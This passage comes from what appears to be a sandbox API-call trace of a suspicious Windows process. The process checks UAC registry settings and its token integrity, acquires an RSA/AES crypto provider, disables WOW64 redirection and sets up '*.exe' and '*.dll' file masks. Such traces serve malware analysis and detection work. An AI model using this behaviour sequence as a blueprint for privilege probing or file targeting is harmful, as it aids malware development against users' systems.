lpValueName="FilterAdministratorToken", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.074] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2d8 [0227.074] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c438 [0227.074] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0227.074] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c5a0 [0227.074] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x58f740, lpData=0x0, lpcbData=0x58f748*=0x0 | out: lpType=0x58f740*=0x4, lpData=0x0, lpcbData=0x58f748*=0x4) returned 0x0 [0227.074] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x58f740, lpData=0x18c480, lpcbData=0x58f748*=0x4 | out: lpType=0x58f740*=0x4, lpData=0x18c480*=0x1, lpcbData=0x58f748*=0x4) returned 0x0 [0227.074] RegCloseKey (hKey=0x24) returned 0x0 [0227.074] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x58f7b8 | out: TokenHandle=0x58f7b8*=0x24) returned 1 [0227.074] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x58f7b4, TokenInformationLength=0x4, ReturnLength=0x58f7b0 | out: TokenInformation=0x58f7b4, ReturnLength=0x58f7b0) returned 1 [0227.074] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x58f7a4 | out: TokenHandle=0x58f7a4*=0xa0) returned 1 [0227.074] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x58f7a0 | out: TokenInformation=0x0, ReturnLength=0x58f7a0) returned 0 [0227.074] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c5a0 [0227.074] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x18c5a0, TokenInformationLength=0x14, ReturnLength=0x58f7a0 | out: TokenInformation=0x18c5a0, ReturnLength=0x58f7a0) returned 1 [0227.074] GetSidSubAuthorityCount (pSid=0x18c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x18c5a9 [0227.074] GetSidSubAuthority (pSid=0x18c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x18c5b0 [0227.074] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c5a0) returned 1 [0227.075] NtClose (Handle=0xa0) returned 0x0 [0227.075] GetSystemInfo (in: lpSystemInfo=0x58f8ec | out: lpSystemInfo=0x58f8ec*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0227.075] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x6c) returned 0x18b860 [0227.075] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c5a0 [0227.075] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0227.075] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c480 [0227.075] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c438 [0227.075] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c558 [0227.075] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c510 [0227.075] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x5000) returned 0xcb0048 [0227.076] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c4c8 [0227.076] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c4c8) returned 1 [0227.076] CryptAcquireContextW (in: phProv=0x58f900, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x58f900*=0x25e3b8) returned 1 [0227.093] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb0048) returned 1 [0227.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18b8d8 [0227.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18b960 [0227.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c4c8 [0227.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18b9e8 [0227.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18ba70 [0227.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c3f0 [0227.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18baf8 [0227.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c3a8 [0227.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x5000) returned 0xcb0048 [0227.093] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c360 [0227.093] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c360) returned 1 [0227.093] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0227.103] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb0048) returned 1 [0227.103] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x258a90, lpbSaclPresent=0x58f8b4, pSacl=0x58f908, lpbSaclDefaulted=0x58f8b4 | out: lpbSaclPresent=0x58f8b4, pSacl=0x58f908, lpbSaclDefaulted=0x58f8b4) returned 1 [0227.103] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c360 [0227.103] CreateEventA (lpEventAttributes=0x58f8fc, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0227.103] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c360) returned 1 [0227.103] GetLastError () returned 0x0 [0227.104] LocalFree (hMem=0x258a90) returned 0x0 [0227.104] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c360 [0227.104] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x5000) returned 0xcb0048 [0227.104] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c318 [0227.104] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c318) returned 1 [0227.104] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0227.104] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb0048) returned 1 [0227.104] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x258a90, lpbSaclPresent=0x58f8b4, pSacl=0x58f908, lpbSaclDefaulted=0x58f8b4 | out: lpbSaclPresent=0x58f8b4, pSacl=0x58f908, lpbSaclDefaulted=0x58f8b4) returned 1 [0227.104] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c318 [0227.104] CreateEventA (lpEventAttributes=0x58f8fc, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0227.105] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c318) returned 1 [0227.105] GetLastError () returned 0x0 [0227.105] LocalFree (hMem=0x258a90) returned 0x0 [0227.105] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c318 [0227.105] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x5000) returned 0xcb0048 [0227.105] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c2d0 [0227.105] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c2d0) returned 1 [0227.105] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0227.105] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb0048) returned 1 [0227.105] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x258a90, lpbSaclPresent=0x58f8b4, pSacl=0x58f908, lpbSaclDefaulted=0x58f8b4 | out: lpbSaclPresent=0x58f8b4, pSacl=0x58f908, lpbSaclDefaulted=0x58f8b4) returned 1 [0227.105] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c2d0 [0227.105] CreateEventA (lpEventAttributes=0x58f8fc, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0227.105] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c2d0) returned 1 [0227.106] GetLastError () returned 0x0 [0227.106] LocalFree (hMem=0x258a90) returned 0x0 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x2800) returned 0xcb0048 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bb80 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c2d0 [0227.106] Wow64DisableWow64FsRedirection (in: OldValue=0x58f930 | out: OldValue=0x58f930*=0x0) returned 1 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x2800) returned 0xcb2850 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.106] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x18d5e8 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2d8 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1f8 [0227.106] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c1f8) returned 1 [0227.106] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.106] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d2d8) returned 1 [0227.106] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d5e8) returned 1 [0227.106] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb2850) returned 1 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x2800) returned 0xcb2850 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.106] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x18d5e8 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2d8 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1f8 [0227.106] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2c8 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x18d600 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2b8 [0227.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1b0 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2a8 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c168 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c1f8) returned 1 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d2d8) returned 1 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d2c8) returned 1 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d5e8) returned 1 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x18d5e8 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2c8 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2d8 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1f8 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c1b0) returned 1 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d2b8) returned 1 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c168) returned 1 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d2a8) returned 1 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d600) returned 1 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x18d600 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2a8 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c168 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2b8 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1b0 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d2c8) returned 1 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c1f8) returned 1 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d2d8) returned 1 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d5e8) returned 1 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x18d5e8 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2d8 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1f8 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2c8 [0227.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.107] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c168) returned 1 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d2a8) returned 1 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c1b0) returned 1 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d2b8) returned 1 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d600) returned 1 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb2850) returned 1 [0227.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18d9d0 [0227.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c1f8, cbMultiByte=5, lpWideCharStr=0x18d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18da58 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d9d0) returned 1 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x18d600 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2b8 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18d9d0 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18da58) returned 1 [0227.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18da58 [0227.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c288, cbMultiByte=5, lpWideCharStr=0x18da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18dae0 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18da58) returned 1 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2a8 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18da58 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18dae0) returned 1 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c1f8) returned 1 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d2d8) returned 1 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d2c8) returned 1 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d5e8) returned 1 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x2800) returned 0xcb2850 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x18d5e8 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2c8 [0227.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1f8 [0227.108] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2d8 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1b0 [0227.109] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d298 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c168 [0227.109] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d288 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.109] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x20) returned 0x18bc08 [0227.109] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d5e8) returned 1 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d278 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c240 [0227.109] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d268 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.109] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d258 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x20) returned 0xcb5058 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d248 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c5e8 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d238 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c630 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d228 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c678 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d218 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c6c0 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d208 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c708 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d1e8 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c750 [0227.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d1f8 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c798 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c1f8) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d2c8) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c1b0) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d2d8) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c168) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d298) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d288) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c240) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d278) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d268) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d258) returned 1 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bc08) returned 1 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.110] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x18d5e8 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d258 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d268 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d278 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c240 [0227.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d288 [0227.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x20) returned 0x18bc08 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, 